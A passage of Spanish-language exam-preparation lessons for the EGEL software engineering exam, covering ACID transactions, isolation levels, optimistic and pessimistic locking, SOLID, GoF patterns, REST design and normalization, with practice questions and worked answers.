motor aborta una de las transacciones (la víctima) para liberar la otra.\n\n### B. Control de Concurrencia Optimista (Optimistic Locking)\n\n- **Filosofía:** \"Asumir que los conflictos de escritura concurrente son raros o esporádicos\". Múltiples usuarios leen y trabajan libremente sin bloquear la base de datos; la colisión se verifica únicamente en el instante de persistir los cambios.\n- **Mecanismo:** Se añade una columna de control de concurrencia a la tabla: un entero incremental (`version INT`) o una marca temporal precisa (`updated_at TIMESTAMP`).\n  1. El cliente A lee el registro con `id = 10` y `version = 5`.\n  2. El cliente B lee concurrentemente el mismo registro con `id = 10` y `version = 5`.\n  3. El cliente A actualiza y persiste su cambio:\n     ```sql\n     UPDATE producto \n     SET stock = stock - 1, version = version + 1 \n     WHERE id = 10 AND version = 5;\n     ```\n     El motor afecta 1 fila (`Rows affected: 1`). La versión en la base de datos ahora es `6`.\n  4. El cliente B intenta actualizar el mismo producto basándose en la versión que leyó:\n     ```sql\n     UPDATE producto \n     SET stock = stock - 2, version = version + 1 \n     WHERE id = 10 AND version = 5;\n     ```\n     Como la versión en la tabla ya es `6`, la cláusula `WHERE version = 5` no coincide con ninguna fila (`Rows affected: 0`).\n  5. El framework de persistencia detecta cero filas afectadas y lanza una excepción de concurrencia (`OptimisticLockException`). La aplicación notifica al usuario o reintenta la operación recargando los datos actualizados.\n\n---\n\n## 4. Comparativa Técnica: Pesimista vs Optimista\n\n| Criterio de Selección | Bloqueo Pesimista (`FOR UPDATE` / Locks) | Bloqueo Optimista (Columna `version` / CAS) |\n| :--- | :--- | :--- |\n| **Nivel de contención óptimo** | Alta contención de escritura (múltiples transacciones disputan simultáneamente el mismo registro exacto). | Baja a moderada contención de escritura (muchas lecturas, colisiones de modificación simultánea poco frecuentes). |\n| **Sobrecarga en la base de datos** | Alta retención de conexiones abiertas y cerrojos en memoria del RDBMS; riesgo latente de cuellos de botella y *Deadlocks*. | Nula sobrecarga de bloqueos en el motor; consultas no bloqueantes y transacciones cortas. |\n| **Duración de las transacciones** | Obligatoriamente muy cortas (milisegundos). Retener un bloqueo pesimista durante la interacción humana congela el sistema. | Soporta transacciones lógicas largas (el usuario puede tardar minutos editando un formulario sin bloquear a nadie). |\n| **Manejo ante colisión** | Los procesos concurrentes se encolan y esperan pasivamente a que el recurso sea liberado. | Se lanza una excepción de colisión inmediata; requiere política de reintento automático o recarga de interfaz. |\n| **Escenario arquetípico** | Débito bancario en cuenta corriente, reserva de boletos de avión con venta relámpago (minutos finales). | Edición de perfiles de usuario, carritos de compras individuales, catálogo de productos con miles de ítems. |\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Venta de Boletos para Concierto Masivo (Alta Contención Extrema)\n- **Problema:** En el minuto de salida a la venta, 50,000 usuarios intentan reservar los últimos 200 asientos numerados.\n- **Análisis de alternativas:** Si se implementa concurrencia optimista, 49,800 usuarios recibirán excepciones de colisión repetidas (`OptimisticLockException`), saturando el servidor web con reintentos fallidos en cascada.\n- **Decisión de diseño:** Implementar **control pesimista con timeout** (`SELECT ... FOR UPDATE NOWAIT` o con límite de 2 segundos) o un mecanismo de reserva con cola distribuida (Redis con locks distribuidos TTL). El primero que bloquea el asiento tiene 5 minutos exclusivos para pagar; los demás son informados de inmediato que el asiento está ocupado sin degradar el RDBMS.\n\n### Escenario B: Sistema CRM de Gestión de Prospectos Comerciales\n- **Problema:** Un equipo de 100 ejecutivos actualiza fichas de clientes. Ocasionalmente, dos ejecutivos abren el mismo cliente para editar notas al mismo tiempo.\n- **Análisis de alternativas:** Si se usara bloqueo pesimista, cuando el Ejecutivo A abra la ficha y vaya a tomar café, ningún otro colega podrá actualizar notas del cliente, agotando el pool de conexiones de la base de datos.\n- **Decisión de diseño:** **Bloqueo optimista** con columna `version`. Ambos ejecutivos pueden leer y trabajar sin bloquear a nadie. Si el Ejecutivo B guarda después que el A, el sistema detecta que la versión cambió, le avisa: *\"El registro fue modificado por otro usuario mientras editabas. Revisa las notas actualizadas antes de reescribir\"*, protegiendo la integridad sin fricción de bloqueo.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Creer que ACID es exclusivo de bases de datos relacionales (SQL).**\n\u003e Existen bases de datos NoSQL y motores distribuidos modernos que ofrecen soporte transaccional ACID completo (ejemplo: Google Cloud Spanner, CockroachDB, o transacciones multi-documento en MongoDB desde la versión 4.0). ACID es una propiedad de procesamiento transaccional, no un sinónimo de SQL.\n\n\u003e **Trampa 2: Confundir Atomicidad con Consistencia.**\n\u003e La *Atomicidad* garantiza que si la transferencia de dinero falla a la mitad, no se descuenta nada (evita transacciones parciales). La *Consistencia* garantiza que la suma de todas las cuentas respete las reglas contables, que ningún saldo sea menor a cero si existe un `CHECK (saldo \u003e= 0)` y que todas las llaves foráneas sean válidas.\n\n\u003e **Trampa 3: Asumir que \"Read Committed\" previene lecturas fantasma o no repetibles.**\n\u003e `Read Committed` únicamente garantiza que jamás leerás datos sin confirmar (*dirty read*). Si consultas una fila dos veces en la misma transacción y alguien la modificó y confirmó entre tus dos consultas, verás valores distintos (Lectura No Repetible).\n\n\u003e **Trampa 4: Usar bloqueo pesimista manteniendo transacciones abiertas durante interacción con el usuario.**\n\u003e En un examen profesional, abrir una transacción con `SELECT ... FOR UPDATE` y esperar a que el usuario complete un formulario en el navegador es una falla arquitectónica grave: agota el pool de conexiones del RDBMS y provoca caídas por denegación de servicio.\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nUna aplicación bancaria ejecuta una transacción T1 que consulta el saldo de un cliente: obtiene $10,000. Mientras T1 sigue abierta ejecutando otros cálculos, una transacción T2 ejecuta un débito de $2,000 sobre ese mismo cliente y hace `COMMIT`. Cuando T1 vuelve a consultar el saldo del mismo cliente antes de finalizar, obtiene $8,000. ¿Qué anomalía de concurrencia ha ocurrido y cuál es el nivel mínimo de aislamiento ANSI SQL requerido para prevenirla?\n- A) Ocurrió una Lectura Sucia (Dirty Read); se previene con el nivel Read Committed.\n- B) Ocurrió una Lectura Fantasma (Phantom Read); se previene con el nivel Serializable.\n- C) Ocurrió una Lectura No Repetible (Non-Repeatable Read); se previene con el nivel Repeatable Read.\n- D) Ocurrió una Pérdida de Actualización (Lost Update); se previene con el nivel Read Uncommitted.\n\n### Pregunta 2\nEn una plataforma de compras en línea, miles de usuarios navegan simultáneamente por el catálogo de productos y editan las descripciones de los artículos mediante un panel web. Las modificaciones concurrentes a un mismo producto son muy esporádicas. ¿Qué estrategia de concurrencia es la más adecuada técnica y arquitectónicamente para este requerimiento?\n- A) Bloqueo pesimista adquiriendo un cerrojo exclusivo (`FOR UPDATE`) al abrir la pantalla de edición del producto en el navegador.\n- B) Bloqueo optimista utilizando una columna de control de versión (`version`) o marca de tiempo, verificando la coincidencia de versión al momento de ejecutar la sentencia `UPDATE`.\n- C) Reducir el nivel de aislamiento de la base de datos a Read Uncommitted para eliminar la sobrecarga de lectura en las tablas.\n- D) Implementar un bloqueo de dos fases (2PL) distribuido sobre todo el catálogo de productos mientras un administrador edita un artículo.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 2.2.9 de esta subárea).*\n","title":"2.2.7 Transacciones ACID, niveles de aislamiento SQL y control de concurrencia"},{"children":[],"contentMd":"# Repaso Integral y Síntesis de la Subárea 2.2: Diseño de Componentes y Bases de Datos\n\nLa Subárea 2.2 concentra **26 reactivos** del examen EGEL, siendo una de las subáreas con mayor peso cuantitativo y técnico de toda la evaluación. Los reactivos en esta sección evalúan tu capacidad analítica para identificar acoplamiento perjudicial, aplicar principios SOLID, seleccionar el patrón de diseño GoF preciso para resolver una necesidad de cambio, diseñar contratos de API robustos y estructurar modelos de datos transaccionales normalizados y concurrentes.\n\n---\n\n## 1. Mapa Conceptual de Alta Frecuencia EGEL\n\n```\n                     DISEÑO DE COMPONENTES Y BASES DE DATOS (26 Reactivos)\n                                        │\n     ┌──────────────────┬───────────────┴───────────────┬──────────────────┐\n     ▼                  ▼                               ▼                  ▼\nNivel Componente   Patrones GoF y SOLID           Diseño de APIs       Gestión de Datos\n• Alta Cohesión    • S.O.L.I.D.                   • Richardson L0-L3   • Modelo E-R a Relacional\n  (Funcional)      • Creacionales (Factory/Build) • REST vs gRPC       • Normalización (1FN-3FN)\n• Bajo Acoplamiento• Estructurales (Adapter/Deco) • Idempotencia       • ACID y Niveles Aislamiento\n  (Datos)          • Comportamiento (Strat/Obs)   • Códigos HTTP       • Pesimista vs Optimista\n```\n\n---\n\n## 2. Tablas Maestras de Decisión Rápida\n\n### A. Cohesión y Acoplamiento\n\n| Dimensión | Mejor Opción (Deseable) | Opción Aceptable | Peor Opción (Antipatrón) |\n| :--- | :--- | :--- | :--- |\n| **Cohesión (Foco interno)** | **Funcional:** El módulo realiza una única tarea bien delimitada con un único propósito. | **Secuencial:** La salida de una función es la entrada directa de la siguiente. | **Coincidente / Lógica:** Agrupación arbitraria sin relación o un método gigante con un switch que hace tareas dispares. |\n| **Acoplamiento (Dependencia externa)** | **De Datos:** Los módulos intercambian únicamente parámetros primitivos necesarios. | **De Estampado (Stamp):** Se pasa una estructura de datos completa de la cual el receptor solo usa un campo. | **De Contenido:** Un módulo modifica directamente variables privadas o código interno de otro módulo. |\n\n### B. Principios SOLID en Una Frase Clave\n\n1. **SRP (Responsabilidad Única):** Una clase debe tener una, y solo una, razón para cambiar (un único actor o stakeholder).\n2. **OCP (Abierto/Cerrado):** Abierto a la extensión, cerrado a la modificación (agrega nuevas clases mediante polimorfismo, no modifiques código existente con `if-else`).\n3. **LSP (Sustitución de Liskov):** Los subtipos deben ser sustituibles por sus tipos base sin alterar el comportamiento correcto del programa (no lances `NotSupportedException` en métodos heredados).\n4. **ISP (Segregación de Interfaces):** Ningún cliente debe ser forzado a depender de métodos de interfaz que no utiliza (diseña muchas interfaces pequeñas y cohesivas en vez de una interfaz monolítica \"gorda\").\n5. **DIP (Inversión de Dependencias):** Los módulos de alto nivel no deben depender de módulos de bajo nivel; ambos deben depender de abstracciones. Las abstracciones no dependen de detalles; los detalles dependen de abstracciones.\n\n### C. Patrones de Diseño GoF Más Preguntados\n\n| Patrón | Tipo | Necesidad / Problema Típico en el Reactivo | Solución Técnica |\n| :--- | :--- | :--- | :--- |\n| **Factory Method** | Creacional | Desacoplar la creación de objetos de su implementación concreta mediante una jerarquía. | Delegar la instanciación a métodos polimórficos en subclases. |\n| **Builder** | Creacional | Construir objetos complejos paso a paso con múltiples configuraciones opcionales. | Separar la construcción paso a paso de la representación final. |\n| **Adapter** | Estructural | Dos interfaces son incompatibles y necesitan comunicarse sin alterar código fuente legado. | Envolver la clase adaptada con una clase intermedia que implementa la interfaz esperada. |\n| **Decorator** | Estructural | Añadir responsabilidades o funcionalidades a objetos individuales dinámicamente sin usar herencia múltiple. | Envolver el objeto base manteniendo la misma interfaz, agregando comportamiento antes o después. |\n| **Strategy** | Comportamiento | Familia de algoritmos intercambiables en tiempo de ejecución (ej. múltiples métodos de cálculo de impuestos o envíos). | Encapsular cada algoritmo en una clase separada detrás de una interfaz común de estrategia. |\n| **Observer** | Comportamiento | Notificar automáticamente a múltiples objetos suscriptores cuando el estado de un sujeto cambia. | Mecanismo de suscripción desacoplado con métodos `attach()`, `detach()` y `notify()`. |\n\n### D. Normalización y Concurrencia en Bases de Datos\n\n- **1FN:** Atomicidad (sin listas, arrays ni columnas repetitivas) + Llave primaria definida.\n- **2FN:** En 1FN + Toda columna no clave depende de la totalidad de la llave primaria compuesta (elimina dependencias parciales).\n- **3FN:** En 2FN + Ninguna columna no clave depende transitivamente de otra columna no clave (elimina dependencias transitivas).\n- **Lectura Sucia:** Leer datos no confirmados (se previene con `Read Committed`).\n- **Lectura No Repetible:** Releer una fila y ver cambios confirmados por otra transacción (se previene con `Repeatable Read`).\n- **Lectura Fantasma:** Releer un rango y ver nuevas filas insertadas (se previene con `Serializable`).\n- **Bloqueo Pesimista:** `SELECT ... FOR UPDATE` (ideal para alta contención de escritura, transacciones muy breves).\n- **Bloqueo Optimista:** Columna `version` + verificación en `WHERE` (ideal para transacciones largas y baja/moderada contención).\n\n---\n\n## 3. Checklist de Preparación Pre-Examen Subárea 2.2\n\nAntes de pasar a la siguiente subárea, verifica que dominas con fluidez:\n- [ ] Reconocer cuándo una clase viola SRP al mezclar lógica de negocio, persistencia SQL y formateo de impresión.\n- [ ] Distinguir cuándo usar **Strategy** vs **State** (Strategy: algoritmos intercambiables controlados externamente; State: el objeto cambia su comportamiento cuando su estado interno muta).\n- [ ] Reconocer violaciones de Liskov cuando una subclase debilita postcondiciones o fortalece precondiciones.\n- [ ] Identificar el nivel de madurez Richardson de una API REST (L0: RPC sobre HTTP, L1: Recursos URI, L2: Verbos HTTP + Códigos de estado, L3: HATEOAS).\n- [ ] Saber que `GET`, `PUT`, `DELETE` son **idempotentes**, mientras que `POST` no lo es.\n- [ ] Normalizar una tabla desestructurada hasta 3FN paso a paso.\n- [ ] Diseñar el esquema de control optimista con `UPDATE ... WHERE id = :id AND version = :version`.\n\n---\n\n## 4. Mini-Simulador de Diagnóstico Rápido\n\n### Reactivo Muestra 1\nUna aplicación bancaria de procesamiento de pagos necesita aplicar diferentes fórmulas de cálculo de comisiones según el tipo de cliente (Estudiante, Corporativo, Premier). Se requiere que en el futuro se puedan agregar nuevas fórmulas de comisión sin modificar las clases existentes de procesamiento de pagos ni usar estructuras `switch-case`. ¿Qué patrón de diseño GoF y principio SOLID se deben aplicar?\n- A) Patrón Decorator y Principio de Sustitución de Liskov (LSP).\n- B) Patrón Strategy y Principio Abierto/Cerrado (OCP).\n- C) Patrón Factory Method y Principio de Segregación de Interfaces (ISP).\n- D) Patrón Singleton y Principio de Responsabilidad Única (SRP).\n\n### Reactivo Muestra 2\nAl auditar una base de datos relacional, se detecta la tabla `INVENTARIO (id_almacen, sku_producto, nombre_producto, cantidad)`. La clave primaria está compuesta por `(id_almacen, sku_producto)`. El atributo `nombre_producto` depende exclusivamente del `sku_producto` y no del `id_almacen`. ¿Qué anomalía de diseño presenta esta tabla y cómo se resuelve?\n- A) Viola la 1FN por carecer de atomicidad; se resuelve dividiendo el SKU en múltiples campos.\n- B) Viola la 2FN por poseer una dependencia funcional parcial; se resuelve separando los productos en una tabla `PRODUCTO (sku_producto, nombre_producto)`.\n- C) Viola la 3FN por poseer una dependencia transitiva; se resuelve eliminando la clave primaria compuesta.\n- D) Se encuentra en Forma Normal de Boyce-Codd (BCNF); no requiere ninguna modificación.\n\n*(Verifica tus respuestas y análisis detallado en la siguiente lección 2.2.9).*\n","title":"2.2.8 Repaso integral y síntesis: Subárea 2.2"},{"children":[],"contentMd":"# Soluciones Razonadas y Análisis de Distractores — Subárea 2.2\n\nEsta lección contiene la resolución detallada y el desglose pedagógico de cada uno de los reactivos planteados a lo largo de la **Subárea 2.2: Diseño de componentes y bases de datos**. Analiza meticulosamente el razonamiento técnico de la opción correcta y la justificación de descarte de cada distractor para consolidar tu criterio ante el examen EGEL.\n\n---\n\n## 1. Soluciones: Modularidad, Cohesión y Acoplamiento (Lección 2.2.1)\n\n### Pregunta 1\n- **Enunciado:** Clase `FacturaManager` con métodos para cálculo de impuestos, impresión en PDF, conexión directa por socket a la pasarela bancaria y logging.\n- **Respuesta Correcta:** **B) Cohesión coincidente y acoplamiento común.**\n- **Justificación Técnica:** La clase agrupa responsabilidades no relacionadas funcionalmente (cálculo de dominio, generación gráfica de PDF, protocolo de red bancario y telemetría), lo que define la *cohesión coincidente o lógica* (baja/pobre). Además, al modificar variables globales de sesión y estado compartido de aplicación, exhibe *acoplamiento común* (antipatrón de alto acoplamiento perjudicial).\n- **Análisis de Distractores:**\n  - *A es incorrecta:* La cohesión funcional exige que todos los elementos contribuyan a un único objetivo delimitado; esta clase hace cuatro tareas dispares.\n  - *C es incorrecta:* El acoplamiento de datos es el nivel más deseable y limpio (paso de primitivos); aquí se accede a variables de sesión globales compartidas.\n  - *D es incorrecta:* La cohesión comunicacional agrupa métodos que operan sobre los mismos datos de entrada; aquí cada método opera en dominios tecnológicos e informativos totalmente desconectados.\n\n### Pregunta 2\n- **Enunciado:** El método `imprimirEtiquetaEnvio(Cliente cliente)` recibe el objeto completo `Cliente` (con 40 atributos incluyendo historial crediticio y contraseñas hasheadas) únicamente para leer la dirección de entrega.\n- **Respuesta Correcta:** **C) Acoplamiento de estampado (Stamp coupling); se soluciona pasando únicamente el objeto `Direccion` o los campos de texto requeridos.**\n- **Justificación Técnica:** El acoplamiento de estampado (*Stamp coupling*) ocurre cuando se pasa una estructura compuesta de datos grande a un módulo que solo necesita una pequeña fracción de sus campos. Viola el principio de mínimo conocimiento y expone datos innecesarios a cambios colaterales.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El acoplamiento de contenido ocurre cuando un módulo modifica la memoria interna o código privado de otro.\n  - *B es incorrecta:* El acoplamiento de control ocurre cuando se pasa una bandera booleana o código que dirige el flujo interno de ejecución.\n  - *D es incorrecta:* Pasar un mapa genérico no tipado incrementa la deuda técnica, oculta errores en tiempo de compilación y no elimina el problema conceptual.\n\n---\n\n## 2. Soluciones: Principios SOLID en Profundidad (Lección 2.2.2)\n\n### Pregunta 1\n- **Enunciado:** Clase `ProcesadorPagos` con un método `procesarPago(String tipo)` repleto de bloques `if-else` encadenados para cada pasarela (PayPal, Stripe, OXXO, MercadoPago).\n- **Respuesta Correcta:** **C) Principio Abierto/Cerrado (OCP) y Principio de Inversión de Dependencias (DIP).**\n- **Justificación Técnica:** Cada vez que la empresa desea soportar un nuevo medio de pago, se debe alterar el código fuente de `ProcesadorPagos` modificando la estructura condicional (violación de OCP). Además, la clase de alto nivel depende directamente de las implementaciones concretas de cada pasarela en lugar de depender de una interfaz abstracta `MetodoPago` (violación de DIP).\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El principio de sustitución de Liskov se refiere al comportamiento de subclases en jerarquías de herencia, no a estructuras condicionales para selección de pasarelas.\n  - *B es incorrecta:* La segregación de interfaces ataca interfaces sobrecargadas con métodos irrelevantes para ciertos clientes, lo cual no es el foco de la estructura condicional.\n  - *D es incorrecta:* Aunque SRP se ve afectado colateralmente, la necesidad explícita de \"extender sin modificar\" define de forma directa al principio OCP.\n\n### Pregunta 2\n- **Enunciado:** Clase base `CuentaBancaria` con método `retirar(monto)`. Subclase `CuentaPlazoFijo` que en el método `retirar()` lanza una excepción `OperacionInvalidaException(\"No se permiten retiros antes del vencimiento\")`.\n- **Respuesta Correcta:** **B) Viola el Principio de Sustitución de Liskov (LSP).**\n- **Justificación Técnica:** LSP establece que cualquier subclase debe poder reemplazar a su clase base sin romper el contrato ni generar comportamientos anómalos inesperados en el cliente. Si un cliente recibe una referencia `CuentaBancaria` y llama a `retirar()`, espera que la operación sea válida según el contrato base; al lanzar una excepción imprevista de soporte, se viola el principio.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* No se viola la inversión de dependencias; no se están creando dependencias de alto nivel sobre detalles concretos aquí.\n  - *C es incorrecta:* OCP no se transgrede directamente por el mecanismo de herencia en sí, sino por el rompimiento de las precondiciones/postcondiciones del contrato.\n  - *D es incorrecta:* No es una aplicación correcta del polimorfismo, sino una violación de subtipado de comportamiento seguro.\n\n---\n\n## 3. Soluciones: Patrones de Diseño GoF (Lección 2.2.3)\n\n### Pregunta 1\n- **Enunciado:** Integrar una librería externa con método `executeXMLQuery(xmlPayload)` en una arquitectura que consume la interfaz estándar `IDataService` con método `fetchData(JsonRequest request)`.\n- **Respuesta Correcta:** **B) Adapter.**\n- **Justificación Técnica:** El patrón Adapter actúa como un traductor entre dos interfaces incompatibles. Permite envolver la clase de la librería externa para que implemente la interfaz `IDataService`, convirtiendo la petición JSON en XML internamente sin alterar el código de la librería ni del cliente.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Facade simplifica una interfaz compleja de un subsistema completo con múltiples clases; no adapta dos interfaces específicas preexistentes.\n  - *C es incorrecta:* Proxy controla el acceso, lazy loading o seguridad hacia un objeto que implementa *la misma* interfaz; no traduce contratos incompatibles.\n  - *D es incorrecta:* Decorator añade responsabilidades dinámicas manteniendo la misma interfaz base, no resuelve discrepancias entre contratos diferentes.\n\n### Pregunta 2\n- **Enunciado:** Facturación electrónica con múltiples algoritmos de cálculo de impuestos (IVA general, tasa fronteriza, exento de zona libre) seleccionables dinámicamente en tiempo de ejecución.\n- **Respuesta Correcta:** **B) Strategy.**\n- **Justificación Técnica:** El patrón Strategy define una familia de algoritmos, los encapsula en clases independientes detrás de una interfaz común (`CalculoImpuestoStrategy`) y hace que sus objetos sean intercambiables en tiempo de ejecución dentro del contexto de facturación.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Template Method fija la estructura de un algoritmo en una clase base mediante pasos abstractos resueltos por subclases en tiempo de compilación; no es intercambiable dinámicamente mediante composición en tiempo de ejecución.\n  - *C es incorrecta:* Observer gestiona notificaciones uno-a-muchos ante cambios de estado de un sujeto.\n  - *D es incorrecta:* State modifica el comportamiento de un objeto cuando su estado interno muta a través de transiciones de ciclo de vida.\n\n---\n\n## 4. Soluciones: Diseño de Componentes y APIs (Lección 2.2.4)\n\n### Pregunta 1\n- **Enunciado:** API REST con endpoint `POST /obtenerClientesActivos` que responde `200 OK` devolviendo `{\"status\": 500, \"error\": \"Fallo en conexión de base de datos\"}`.\n- **Respuesta Correcta:** **B) La API se encuentra en Nivel 0 de Richardson (RPC sobre HTTP), pues usa POST como túnel para consultas y oculta errores en el cuerpo con código 200 OK.**\n- **Justificación Técnica:** En el Nivel 0 del modelo de Richardson, HTTP se usa simplemente como protocolo de transporte para invocaciones de procedimiento remoto (RPC). Para ser RESTful (Nivel 2), debe usar `GET /clientes?estado=activo` para lectura y retornar un código de estado HTTP real de la familia 5xx (`500 Internal Server Error`) ante fallos de infraestructura.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* La API dista mucho de ser RESTful pura; incumple la semántica de verbos HTTP y la convención de códigos de estado.\n  - *C es incorrecta:* No se encuentra en Nivel 2; el nivel 2 exige el uso correcto de verbos (`GET`, `POST`, `PUT`, `DELETE`) y códigos de estado representativos.\n  - *D es incorrecta:* HATEOAS es el Nivel 3 y requiere hipermedios de navegación interactiva, algo totalmente ausente aquí.\n\n### Pregunta 2\n- **Enunciado:** Se requiere que la operación de cancelación de una suscripción `DELETE /suscripciones/456` pueda reintentarse automáticamente ante caídas de red intermitentes sin provocar efectos secundarios adversos.\n- **Respuesta Correcta:** **C) La operación DELETE es idempotente por estándar; reintentarla con el mismo ID garantiza que la suscripción quede cancelada sin duplicar acciones.**\n- **Justificación Técnica:** Por definición de RFC 7231, un método es idempotente si el efecto de múltiples peticiones idénticas es exactamente el mismo que el de una sola petición. `DELETE` es formalmente idempotente: la primera ejecución cancela/elimina el recurso; los reintentos subsiguientes confirman que el recurso ya no existe (retornando `204 No Content` o `404 Not Found`), manteniendo el estado final idéntico.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El verbo estándar para cancelación y remoción de un recurso específico es `DELETE`; no se debe cambiar arbitrariamente a `POST` (que además no es idempotente).\n  - *B es incorrecta:* Afirmar que `DELETE` no es idempotente es un error conceptual grave de arquitectura web.\n  - *D es incorrecta:* Desactivar la validación de red y confiar en timeouts no resuelve la resiliencia ante cortes transitorios.\n\n---\n\n## 5. Soluciones: Diseño de Bases de Datos Relacionales (Lección 2.2.5)\n\n### Pregunta 1\n- **Enunciado:** Relación entre `CLIENTE` y `TARJETA_CREDITO` (un cliente puede tener múltiples tarjetas). Se requiere que si se da de baja a un cliente, sus tarjetas asociadas no queden huérfanas ni se puedan registrar tarjetas a clientes inexistentes.\n- **Respuesta Correcta:** **A) Integridad referencial mediante una llave foránea (`FOREIGN KEY`) en la tabla `TARJETA_CREDITO` referenciando a `CLIENTE`, con política `ON DELETE CASCADE`.**\n- **Justificación Técnica:** La restricción de llave foránea (`FK`) es la que garantiza la integridad referencial impidiendo que existan tarjetas asociadas a un `id_cliente` que no existe en la tabla padre. La cláusula `ON DELETE CASCADE` elimina automáticamente todas las tarjetas dependientes al suprimir al cliente padre, evitando registros huérfanos.\n- **Análisis de Distractores:**\n  - *B es incorrecta:* `ON DELETE RESTRICT` aborta la eliminación del cliente si este tiene tarjetas asociadas; no elimina las tarjetas de forma automática.\n  - *C es incorrecta:* Un trigger manual en inserción no sustituye la regla declarativa del motor ni resuelve la política de cascada al eliminar en el padre.\n  - *D es incorrecta:* Una clave compuesta no define la relación referencial foránea padre-hijo.\n\n### Pregunta 2\n- **Enunciado:** Consultas analíticas frecuentes que filtran transacciones por rangos continuos de fechas: `WHERE fecha_transaccion BETWEEN '2026-01-01' AND '2026-06-30'`.\n- **Respuesta Correcta:** **B) Índice B-Tree (o B+ Tree) sobre la columna `fecha_transaccion`.**\n- **Justificación Técnica:** La estructura de datos B-Tree (y específicamente B+ Tree) mantiene los datos ordenados en sus nodos hoja enlazados secuencialmente, lo que permite realizar búsquedas por rangos (`BETWEEN`, `\u003e`, `\u003c`) con complejidad $O(\\log N)$ para ubicar el límite inferior y recorrido lineal contiguo de hojas para extraer el rango.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Los índices Hash calculan un bucket para valores puntuales de igualdad exacta (`=`); no tienen noción de orden y no soportan búsquedas por rango de fechas.\n  - *C es incorrecta:* Los índices Bitmap son útiles para baja cardinalidad (ej. género, estado booleano) en entornos de solo lectura OLAP, pero sufren de bloqueos severos en inserciones transaccionales y no son el estándar relacional de búsqueda por rangos temporales continuos.\n  - *D es incorrecta:* Eliminar índices degrada el rendimiento de consultas a un escaneo completo de tabla (*Full Table Scan*), inaceptable con millones de filas.\n\n---\n\n## 6. Soluciones: Normalización vs Desnormalización (Lección 2.2.6)\n\n### Pregunta 1\n- **Enunciado:** Tabla `MATRICULA (id_estudiante, id_curso, semestre, costo_curso, nombre_curso)`. Clave primaria compuesta `(id_estudiante, id_curso)`. Los atributos `costo_curso` y `nombre_curso` dependen únicamente de `id_curso`.\n- **Respuesta Correcta:** **B) Viola la 2FN porque existen dependencias funcionales parciales sobre una clave primaria compuesta.**\n- **Justificación Técnica:** La Segunda Forma Normal (2FN) exige que la tabla esté en 1FN y que ningún atributo no clave dependa de una parte de la clave primaria. Como `nombre_curso` y `costo_curso` dependen solo de `id_curso` (subconjunto de la clave compuesta), la tabla está en 1FN pero viola la 2FN.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* No se describen atributos multivaluados ni arrays; los valores son atómicos, por lo que está en 1FN.\n  - *C es incorrecta:* Las dependencias transitivas (3FN) ocurren entre atributos no clave; aquí la dependencia es entre un atributo no clave y una porción de la clave candidata compuesta (dependencia parcial = 2FN).\n  - *D es incorrecta:* BCNF es más estricta que la 3FN; una tabla que no cumple 2FN no puede estar en BCNF.\n\n### Pregunta 2\n- **Enunciado:** Sistema transaccional OLTP que procesa 15,000 órdenes por minuto. Un reporte analítico de ventas por región mensual bloquea las tablas por 2 minutos debido a un join de 12 tablas normalizadas.\n- **Respuesta Correcta:** **C) Crear un almacén de datos (Data Warehouse) o tabla desnormalizada de sólo lectura sincronizada asíncronamente mediante réplica o eventos (ETL/CDC) para procesar el reporte.**\n- **Justificación Técnica:** Los sistemas OLTP exigen normalización estricta (3FN) para garantizar la integridad y escrituras veloces sin anomalías. Mezclar consultas analíticas pesadas (OLAP) con procesamiento transaccional satura el RDBMS. La solución arquitectónica es desacoplar el reporte a un Data Warehouse o tabla desnormalizada de consulta alimentada por Change Data Capture (CDC) o réplica de lectura.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Desnormalizar la base de datos de producción primaria genera anomalías de inserción, actualización y borrado en los 15,000 pedidos por minuto.\n  - *B es incorrecta:* Read Uncommitted no resuelve el tiempo de CPU y memoria requerido para hacer un join de 12 tablas con millones de filas; solo evita bloqueos de lectura pero no mitiga la carga computacional.\n  - *D es incorrecta:* Los índices en todas las columnas ralentizan drásticamente las escrituras (`INSERT`/`UPDATE`), empeorando el cuello de botella transaccional.\n\n---\n\n## 7. Soluciones: Transacciones ACID y Concurrencia (Lección 2.2.7)\n\n### Pregunta 1\n- **Enunciado:** Transacción T1 lee saldo $10,000. T2 descuenta $2,000 y hace `COMMIT`. T1 vuelve a leer el saldo del mismo cliente y obtiene $8,000.\n- **Respuesta Correcta:** **C) Ocurrió una Lectura No Repetible (Non-Repeatable Read); se previene con el nivel Repeatable Read.**\n- **Justificación Técnica:** La Lectura No Repetible ocurre cuando una transacción lee el mismo registro dos veces y obtiene datos distintos porque otra transacción modificó y confirmó (`COMMIT`) los cambios en el intervalo. El nivel `Read Committed` permite este fenómeno. Para garantizar que las lecturas repetidas arrojen el mismo valor durante toda la transacción, se requiere `Repeatable Read` (o `Serializable`).\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Una lectura sucia ocurre cuando los datos leídos **no** fueron confirmados (y luego se hace rollback); aquí T2 sí confirmó su transacción antes de la segunda lectura.\n  - *B es incorrecta:* La lectura fantasma aplica a conjuntos de registros devueltos por consultas de rango (`WHERE saldo \u003e X`), donde aparecen nuevas filas agregadas por inserción.\n  - *D es incorrecta:* La pérdida de actualización ocurre cuando dos transacciones sobrescriben los mismos datos sin considerar los cambios de la otra; `Read Uncommitted` es el nivel más bajo y permite todas las anomalías.\n\n### Pregunta 2\n- **Enunciado:** Plataforma de comercio con miles de usuarios navegando el catálogo y editando descripciones de productos de forma muy esporádica sin colisiones frecuentes.\n- **Respuesta Correcta:** **B) Bloqueo optimista utilizando una columna de control de versión (`version`) o marca de tiempo, verificando la coincidencia de versión al momento de ejecutar la sentencia `UPDATE`.**\n- **Justificación Técnica:** Dado que las colisiones son raras y el tiempo de edición en formularios web es indeterminado (el usuario puede tardar minutos), el bloqueo optimista es el ideal: no retiene conexiones ni cerrojos en el motor durante la navegación y 